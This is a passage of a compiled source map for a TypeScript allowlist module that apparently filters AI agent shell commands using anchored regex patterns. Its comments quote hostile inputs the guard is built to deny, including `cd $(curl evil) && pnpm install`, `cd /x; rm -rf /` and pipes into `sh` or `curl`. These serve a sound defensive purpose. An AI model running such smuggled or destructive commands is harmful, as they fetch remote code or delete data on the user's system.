UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
|
|
1
|
+
{"version":3,"file":"l0-allowlist.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-allowlist.ts"],"names":[],"mappings":";;;AAshBA,8BAKC;;AA3hBD,mDAA6B;AAE7B,0DAA0D;AAE1D,8EAA8E;AAC9E,uGAAuG;AACvG,oFAAoF;AACpF,EAAE;AACF,+FAA+F;AAC/F,+FAA+F;AAC/F,mGAAmG;AACnG,8EAA8E;AAC9E,uGAAuG;AACvG,gGAAgG;AAChG,qGAAqG;AACrG,iGAAiG;AACjG,qGAAqG;AACrG,oGAAoG;AACpG,sGAAsG;AACtG,gBAAgB;AAChB,EAAE;AACF,yGAAyG;AACzG,kGAAkG;AAClG,oGAAoG;AACpG,gGAAgG;AAChG,mGAAmG;AACnG,wGAAwG;AACxG,sGAAsG;AACzF,QAAA,gBAAgB,GACzB,6HAA6H,CAAC;AAElI,yGAAyG;AAC5F,QAAA,mBAAmB,GAC5B,iFAAiF,CAAC;AAEtF,wFAAwF;AACxF,EAAE;AACF,uGAAuG;AACvG,wGAAwG;AACxG,4FAA4F;AAC5F,oGAAoG;AACpG,oGAAoG;AACpG,iDAAiD;AACjD,iGAAiG;AACjG,oGAAoG;AACpG,EAAE;AACF,gGAAgG;AAChG,qGAAqG;AACrG,iGAAiG;AACjG,gGAAgG;AAChG,6DAA6D;AAC7D,EAAE;AACF,mGAAmG;AACnG,uGAAuG;AACvG,sGAAsG;AACtG,iGAAiG;AACjG,+FAA+F;AAC/F,EAAE;AACF,uGAAuG;AACvG,uGAAuG;AACvG,wGAAwG;AACxG,yGAAyG;AACzG,kGAAkG;AAClG,sGAAsG;AACtG,gFAAgF;AAChF,EAAE;AACF,8FAA8F;AAC9F,qGAAqG;AACrG,wGAAwG;AACxG,8DAA8D;AACjD,QAAA,aAAa,GAAG,0EAA0E,CAAC;AAExG,sGAAsG;AACzF,QAAA,gBAAgB,GAAG,oDAAoD,CAAC;AAErF,gGAAgG;AAChG,sEAAsE;AACtE,MAAM,sBAAsB,GAAG,GAAG,GAAG,qBAAa,CAAC;AACnD,MAAM,qBAAqB,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAErD,6FAA6F;AAC7F,qGAAqG;AACrG,uGAAuG;AACvG,EAAE;AACF,6FAA6F;AAC7F,mGAAmG;AACnG,mGAAmG;AACnG,uGAAuG;AACvG,sFAAsF;AACtF,gGAAgG;AAChG,EAAE;AACF,uGAAuG;AACvG,wGAAwG;AACxG,wGAAwG;AACxG,6GAA6G;AAC7G,mGAAmG;AACnG,uGAAuG;AACvG,mCAAmC;AACnC,EAAE;AACF,oGAAoG;AACpG,sGAAsG;AACtG,2FAA2F;AAC3F,sEAAsE;AACtE,MAAM,kBAAkB,GAAG,+EAA+E,CAAC;AAC9F,QAAA,mBAAmB,GAC5B,sBAAsB,GAAG,kBAAkB,GAAG,wBAAgB,CAAC;AAEnE,oGAAoG;AACpG,kGAAkG;AAClG,kGAAkG;AAClG,gFAAgF;AAChF,MAAM,iBAAiB,GAAG,+DAA+D,CAAC;AAC7E,QAAA,kBAAkB,GAC3B,IAAI,MAAM,CAAC,qBAAqB,GAAG,iBAAiB,GAAG,2BAAmB,CAAC,CAAC;AAEhF,yFAAyF;AACzF,EAAE;AACF,oGAAoG;AACpG,qGAAqG;AACrG,qGAAqG;AACrG,oGAAoG;AACpG,uGAAuG;AACvG,kGAAkG;AAClG,EAAE;AACF,qGAAqG;AACrG,qGAAqG;AACrG,qGAAqG;AACrG,qEAAqE;AACrE,MAAM,iBAAiB,GACnB,8JAA8J,CAAC;AACtJ,QAAA,kBAAkB,GAC3B,sBAAsB,GAAG,iBAAiB,GAAG,wBAAgB,CAAC;AAElE,uGAAuG;AACvG,MAAM,gBAAgB,GAClB,kHAAkH,CAAC;AAC1G,QAAA,iBAAiB,GAC1B,IAAI,MAAM,CAAC,qBAAqB,GAAG,gBAAgB,GAAG,2BAAmB,CAAC,CAAC;AAE/E,0FAA0F;AAC7E,QAAA,YAAY,GAAG,qCAAqC,CAAC;AAElE,sGAAsG;AACtG,qGAAqG;AACrG,kGAAkG;AAClG,qGAAqG;AACrG,8FAA8F;AAC9F,EAAE;AACF,oGAAoG;AACpG,kGAAkG;AAClG,uGAAuG;AACvG,oGAAoG;AACpG,4FAA4F;AAC5F,EAAE;AACF,sDAAsD;AACtD,EAAE;AACF,oGAAoG;AACpG,mGAAmG;AACnG,mGAAmG;AACnG,oGAAoG;AACpG,EAAE;AACF,gGAAgG;AAChG,mGAAmG;AACnG,qGAAqG;AACrG,uGAAuG;AACvG,EAAE;AACF,qGAAqG;AACrG,uGAAuG;AACvG,wGAAwG;AACxG,oFAAoF;AACpF,iEAAiE;AACjE,MAAM,aAAa,GAAG,+EAA+E,CAAC;AACzF,QAAA,cAAc,GACvB,sBAAsB,GAAG,aAAa,GAAG,wBAAgB,CAAC;AAE9D,mGAAmG;AACnG,MAAM,YAAY,GAAG,+DAA+D,CAAC;AACxE,QAAA,aAAa,GACtB,IAAI,MAAM,CAAC,qBAAqB,GAAG,YAAY,GAAG,2BAAmB,CAAC,CAAC;AAE3E,kGAAkG;AAClG,sGAAsG;AACtG,wGAAwG;AACxG,0IAA0I;AAC1I,sGAAsG;AACtG,yEAAyE;AACzE,MAAM,qBAAqB,GAAG,oEAAoE,CAAC;AACtF,QAAA,sBAAsB,GAC/B,sBAAsB,GAAG,qBAAqB,GAAG,wBAAgB,CAAC;AAEtE,wGAAwG;AACxG,MAAM,oBAAoB,GAAG,oDAAoD,CAAC;AACrE,QAAA,qBAAqB,GAC9B,IAAI,MAAM,CAAC,qBAAqB,GAAG,oBAAoB,GAAG,2BAAmB,CAAC,CAAC;AAEnF,iGAAiG;AACpF,QAAA,gBAAgB,GAAG,2BAA2B,CAAC;AAE5D,uGAAuG;AACvG,6FAA6F;AAC7F,mGAAmG;AACnG,6FAA6F;AAC7F,uGAAuG;AACvG,6DAA6D;AAC7D,EAAE;AACF,oGAAoG;AACpG,sGAAsG;AACtG,sGAAsG;AACtG,qGAAqG;AACrG,kDAAkD;AAClD,6FAA6F;AAC7F,EAAE;AACF,iGAAiG;AACjG,mGAAmG;AACnG,gFAAgF;AAChF,MAAM,qBAAqB,GACvB,sIAAsI,CAAC;AAC9H,QAAA,sBAAsB,GAC/B,sBAAsB,GAAG,qBAAqB,GAAG,wBAAgB,CAAC;AAEtE,wGAAwG;AACxG,MAAM,oBAAoB,GACtB,sIAAsI,CAAC;AAC9H,QAAA,qBAAqB,GAC9B,IAAI,MAAM,CAAC,qBAAqB,GAAG,oBAAoB,GAAG,2BAAmB,CAAC,CAAC;AAEnF,wGAAwG;AAC3F,QAAA,gBAAgB,GACzB,4FAA4F,CAAC;AAEjG,oGAAoG;AACpG,EAAE;AACF,oGAAoG;AACpG,kGAAkG;AAClG,qGAAqG;AACrG,sGAAsG;AACtG,wGAAwG;AACxG,uGAAuG;AACvG,mGAAmG;AACnG,qGAAqG;AACrG,EAAE;AACF,yGAAyG;AACzG,wGAAwG;AACxG,0GAA0G;AAC1G,wGAAwG;AACxG,mGAAmG;AACnG,EAAE;AACF,uGAAuG;AACvG,+GAA+G;AAC/G,MAAM,sBAAsB,GACxB,oHAAoH,CAAC;AAC5G,QAAA,uBAAuB,GAChC,sBAAsB,GAAG,sBAAsB,GAAG,wBAAgB,CAAC;AAEvE,yGAAyG;AACzG,MAAM,qBAAqB,GACvB,4FAA4F,CAAC;AACpF,QAAA,sBAAsB,GAC/B,IAAI,MAAM,CAAC,qBAAqB,GAAG,qBAAqB,GAAG,2BAAmB,CAAC,CAAC;AAEpF,2GAA2G;AAC3G,EAAE;AACF,iGAAiG;AACjG,qGAAqG;AACrG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,4BAA4B;AAC5B,EAAE;AACF,oGAAoG;AACpG,iGAAiG;AACjG,wGAAwG;AACxG,uGAAuG;AACvG,4EAA4E;AAC5E,EAAE;AACF,sGAAsG;AACtG,wGAAwG;AACxG,6FAA6F;AAC7F,oGAAoG;AACpG,wGAAwG;AACxG,yEAAyE;AACzE,MAAM,YAAY,GAAG,2CAA2C,CAAC;AACjE,MAAM,qBAAqB,GACvB,wCAAwC,GAAG,YAAY,GAAG,wCAAwC;MAChG,mCAAmC,GAAG,YAAY,GAAG,IAAI,CAAC;AACnD,QAAA,sBAAsB,GAC/B,sBAAsB,GAAG,qBAAqB,GAAG,wBAAgB,CAAC;AAEtE,wGAAwG;AACxG,MAAM,WAAW,GAAG,6CAA6C,CAAC;AAClE,MAAM,oBAAoB,GACtB,wBAAwB,GAAG,WAAW,GAAG,kCAAkC;MACzE,2BAA2B,GAAG,WAAW,GAAG,IAAI,CAAC;AAC1C,QAAA,qBAAqB,GAC9B,IAAI,MAAM,CAAC,qBAAqB,GAAG,oBAAoB,GAAG,2BAAmB,CAAC,CAAC;AAEnF,8EAA8E;AACjE,QAAA,QAAQ,GAAG,0BAA0B,CAAC;AAEnD,sGAAsG;AACzF,QAAA,gBAAgB,GAAG,eAAe,gBAAQ,EAAE,CAAC;AAE1D,0EAA0E;AAC1E,EAAE;AACF,uGAAuG;AACvG,wGAAwG;AACxG,uGAAuG;AACvG,qGAAqG;AACrG,wGAAwG;AACxG,gGAAgG;AAChG,sGAAsG;AACtG,OAAO;AACP,EAAE;AACF,2FAA2F;AAC3F,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,oGAAoG;AACpG,aAAa;AACb,EAAE;AACF,sGAAsG;AACtG,sGAAsG;AACtG,iGAAiG;AACjG,oGAAoG;AACpG,kCAAkC;AAClC,EAAE;AACF,oGAAoG;AACpG,uGAAuG;AACvG,wGAAwG;AACxG,oGAAoG;AACpG,6DAA6D;AAC7D,mEAAmE;AACnE,MAAM,eAAe,GACjB,wJAAwJ,CAAC;AAChJ,QAAA,gBAAgB,GACzB,sBAAsB,GAAG,eAAe,GAAG,wBAAgB,CAAC;AAEhE,qGAAqG;AACrG,MAAM,cAAc,GAChB,0HAA0H,CAAC;AAClH,QAAA,eAAe,GACxB,IAAI,MAAM,CAAC,qBAAqB,GAAG,cAAc,GAAG,2BAAmB,CAAC,CAAC;AAE7E,6FAA6F;AAChF,QAAA,UAAU,GAAG,KAAK,CAAC;AAEhC,iGAAiG;AACpF,QAAA,iBAAiB,GAAG,+BAA+B,CAAC;AAEjE,oGAAoG;AACpG,6FAA6F;AAC7F,qGAAqG;AACxF,QAAA,wBAAwB,GAAG,2CAA2C,CAAC;AAEpF,8EAA8E;AAC9E,uFAAuF;AACvF,EAAE;AACF,uFAAuF;AACvF,wGAAwG;AACxG,iGAAiG;AACjG,iGAAiG;AACjG,iGAAiG;AACjG,wGAAwG;AACxG,EAAE;AACF,0FAA0F;AAC1F,8EAA8E;AAC9E,uGAAuG;AACvG,wGAAwG;AACxG,0BAA0B;AAC1B,wGAAwG;AACxG,oGAAoG;AACpG,0FAA0F;AAC1F,oGAAoG;AACpG,sGAAsG;AACtG,mGAAmG;AACnG,EAAE;AACF,+FAA+F;AAC/F,4FAA4F;AAC5F,EAAE;AACF,kGAAkG;AAClG,kGAAkG;AAClG,sFAAsF;AACtF,8EAA8E;AAE9E,uGAAuG;AACvG,MAAa,MAAM;IAEF;IACA;IACA;IAHb,YACa,QAAgB,EAChB,OAAe,EACf,QAAgB;QAFhB,aAAQ,GAAR,QAAQ,CAAQ;QAChB,YAAO,GAAP,OAAO,CAAQ;QACf,aAAQ,GAAR,QAAQ,CAAQ;IAC1B,CAAC;CACP;AAND,wBAMC;AAED;;;;;;;;;;;;;;GAcG;AACH,MAAa,YAAY;IAGR;IACA;IAOA;IACA;IACA;IACA;IACA;IAdb,yDAAyD;IACzD,YACa,KAAa,EACb,IAAsB;IAC/B;;;;;OAKG;IACM,IAAa,EACb,GAAkB,EAClB,EAAiB,EACjB,MAAc,EACd,eAAkC,EAAE;QAZpC,UAAK,GAAL,KAAK,CAAQ;QACb,SAAI,GAAJ,IAAI,CAAkB;QAOtB,SAAI,GAAJ,IAAI,CAAS;QACb,QAAG,GAAH,GAAG,CAAe;QAClB,OAAE,GAAF,EAAE,CAAe;QACjB,WAAM,GAAN,MAAM,CAAQ;QACd,iBAAY,GAAZ,YAAY,CAAwB;IAC9C,CAAC;IAEJ,kFAAkF;IAClF,UAAU;QACN,OAAO,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,IAAI,CAAC,YAAY,CAAC,CAAC;IAC/C,CAAC;CACJ;AAtBD,oCAsBC;AAEY,QAAA,YAAY,GAA4B;IACjD,IAAI,YAAY,CAAC,UAAU,EAAE,MAAM,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,MAAM,CAAC,MAAM,EAAE,EAAE,EAAE,WAAW,CAAC,CAAC;IAC5F,IAAI,YAAY,CAAC,gCAAgC,8BAAe,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EACzF,IAAI,MAAM,CAAC,MAAM,EAAE,EAAE,EAAE,SAAS,8BAAe,EAAE,CAAC,CAAC;IACvD,IAAI,YAAY,CAAC,kBAAkB,EAAE,OAAO,EAAE,IAAI,EAAE,kBAAkB,EAAE,iBAAiB,EACrF,IAAI,MAAM,CAAC,MAAM,EAAE,cAAc,EAAE,EAAE,CAAC,CAAC;IAC3C,IAAI,YAAY,CAAC,GAAG,oBAAY,wCAAwC,EAAE,OAAO,EAAE,IAAI,EAAE,iBAAiB,EAAE,gBAAgB,EACxH,IAAI,MAAM,CAAC,MAAM,EAAE,oBAAY,EAAE,EAAE,CAAC,CAAC;IACzC,oGAAoG;IACpG,IAAI,YAAY,CAAC,iDAAiD,EAAE,OAAO,EAAE,IAAI,EAAE,aAAa,EAAE,YAAY,EAC1G,IAAI,MAAM,CAAC,MAAM,EAAE,UAAU,EAAE,EAAE,CAAC,CAAC;IACvC,IAAI,YAAY,CAAC,wBAAgB,EAAE,OAAO,EAAE,IAAI,EAAE,qBAAqB,EAAE,oBAAoB,EACzF,IAAI,MAAM,CAAC,MAAM,EAAE,wBAAgB,EAAE,EAAE,CAAC,CAAC;IAC7C,IAAI,YAAY,CAAC,wBAAgB,EAAE,OAAO,EAAE,IAAI,EAAE,qBAAqB,EAAE,oBAAoB,EACzF,IAAI,MAAM,CAAC,MAAM,EAAE,wBAAgB,EAAE,EAAE,CAAC,CAAC;IAC7C,IAAI,YAAY,CAAC,GAAG,yBAAiB,yCAAyC,EAAE,OAAO,EAAE,IAAI,EAAE,sBAAsB,EAAE,qBAAqB,EACxI,IAAI,MAAM,CAAC,MAAM,EAAE,yBAAiB,EAAE,EAAE,CAAC,EACzC,CAAC,IAAI,MAAM,CAAC,MAAM,EAAE,gCAAwB,EAAE,EAAE,CAAC,CAAC,CAAC;IACvD,qGAAqG;IACrG,qGAAqG;IACrG,6CAA6C;IAC7C,IAAI,YAAY,CAAC,GAAG,wBAAgB,wCAAwC,EAAE,OAAO,EAAE,IAAI,EAAE,qBAAqB,EAAE,oBAAoB,EACpI,IAAI,MAAM,CAAC,MAAM,EAAE,wBAAgB,EAAE,EAAE,CAAC,EACxC;QACI,IAAI,MAAM,CAAC,MAAM,EAAE,GAAG,wBAAgB,UAAU,EAAE,EAAE,CAAC;QACrD,IAAI,MAAM,CAAC,MAAM,EAAE,kBAAkB,gBAAQ,UAAU,EAAE,EAAE,CAAC;QAC5D,IAAI,MAAM,CAAC,MAAM,EAAE,sBAAsB,gBAAQ,EAAE,EAAE,EAAE,CAAC;KAC3D,CAAC;IACN,mGAAmG;IACnG,kGAAkG;IAClG,yEAAyE;IACzE,IAAI,YAAY,CACZ,0FAA0F,EAC1F,OAAO,EAAE,KAAK,EAAE,eAAe,EAAE,cAAc,EAC/C,IAAI,MAAM,CAAC,MAAM,EAAE,kBAAU,EAAE,EAAE,CAAC,EAClC;QACI,IAAI,MAAM,CAAC,MAAM,EAAE,+BAA+B,EAAE,EAAE,CAAC;QACvD,IAAI,MAAM,CAAC,MAAM,EAAE,mBAAmB,EAAE,EAAE,CAAC;QAC3C,IAAI,MAAM,CAAC,MAAM,EAAE,YAAY,EAAE,EAAE,CAAC;KACvC,CAAC;CACT,CAAC;AAEF,MAAM,aAAa,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,GAAG,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;AAC3G,MAAM,YAAY,GAAG,oBAAY,CAAC,OAAO,CAAC,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAExG,uGAAuG;AACvG,sGAAsG;AACtG,2CAA2C;AAC9B,QAAA,YAAY,GACrB,sBAAsB,GAAG,GAAG,GAAG,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,wBAAgB,CAAC;AAEpF,iGAAiG;AACjG,gDAAgD;AAChD,EAAE;AACF,oGAAoG;AACpG,qGAAqG;AACrG,sGAAsG;AACtG,+FAA+F;AAC/F,gFAAgF;AACnE,QAAA,eAAe,GAAG,oBAAY,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;AAErE,qFAAqF;AACxE,QAAA,WAAW,GACpB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEjG,0EAA0E;AAC1E,EAAE;AACF,uGAAuG;AACvG,sGAAsG;AACtG,sGAAsG;AACtG,sGAAsG;AACtG,4DAA4D;AAC5D,EAAE;AACF,mGAAmG;AACnG,uGAAuG;AACvG,mGAAmG;AACnG,uGAAuG;AACvG,MAAM,iBAAiB,GAAG,oBAAY,CAAC,OAAO,CAC1C,CAAC,CAAe,EAAY,EAAE,CAAC,CAAC,CAAC,CAAC,EAAE,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAChE,QAAA,gBAAgB,GACzB,IAAI,MAAM,CAAC,qBAAqB,GAAG,GAAG,GAAG,iBAAiB,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,2BAAmB,CAAC,CAAC;AAEtG,4FAA4F;AAC5F,EAAE;AACF,2FAA2F;AAC3F,uGAAuG;AACvG,oGAAoG;AACpG,wGAAwG;AACxG,uGAAuG;AACvG,yFAAyF;AAC5E,QAAA,UAAU,GAAwB,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;AAEjE;;;;;;;;GAQG;AACH,iMAAiM;AACjM,SAAgB,SAAS,CAAC,QAAgB,EAAE,OAAe,EAAE,QAAgB;IACzE,IAAI,kBAAU,CAAC,GAAG,CAAC,QAAQ,CAAC;QAAE,OAAO,MAAM,CAAC;IAC5C,IAAI,IAAI,CAAC,QAAQ,CAAC,QAAQ,CAAC,KAAK,8BAAe;QAAE,OAAO,MAAM,CAAC;IAC/D,IAAI,mBAAW,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC;QAAE,OAAO,OAAO,CAAC;IACrD,OAAO,IAAI,CAAC;AAChB,CAAC","sourcesContent":["import * as path from 'path';\n\nimport { CONFIG_FILENAME } from '@webpieces/rules-config';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union\n// every L0 fault consults, and isAllowed(), the single question sh and JS both ask.\n//\n// Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts\n// re-exports everything here, so every existing import keeps working, and this module stays as\n// dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.\n// ---------------------------------------------------------------------------\n// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.\n// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a\n// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit\n// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as\n// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied\n// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as\n// \"the guard blocks its own fix\", which is exactly the conclusion it drew before handing the fix back\n// to the human.\n//\n// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`\n// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install\n// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at\n// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,\n// read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and\n// every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the\n// anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).\nexport const CAPTURE_TAIL_ERE =\n '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';\n\n// JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CAPTURE_TAIL_JS_SRC =\n '(\\\\s+2>(&1|\\\\/dev\\\\/null))?(\\\\s*\\\\|\\\\s*(tail|head)(\\\\s+-(n\\\\s+)?[0-9]+)?)?\\\\s*$';\n\n// The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.\n//\n// The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in\n// the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`\n// when it happens. So an agent working in a linked worktree can only reach that tree with a\n// self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so\n// \"cd never persists\" — which this comment used to assert — is the worktree case over-generalized.)\n// The drift guard demanded a BARE `pnpm install`\n// (\"do NOT put a cd in front of it\") while the install was needed in the worktree — the cure was\n// literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.\n//\n// A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = 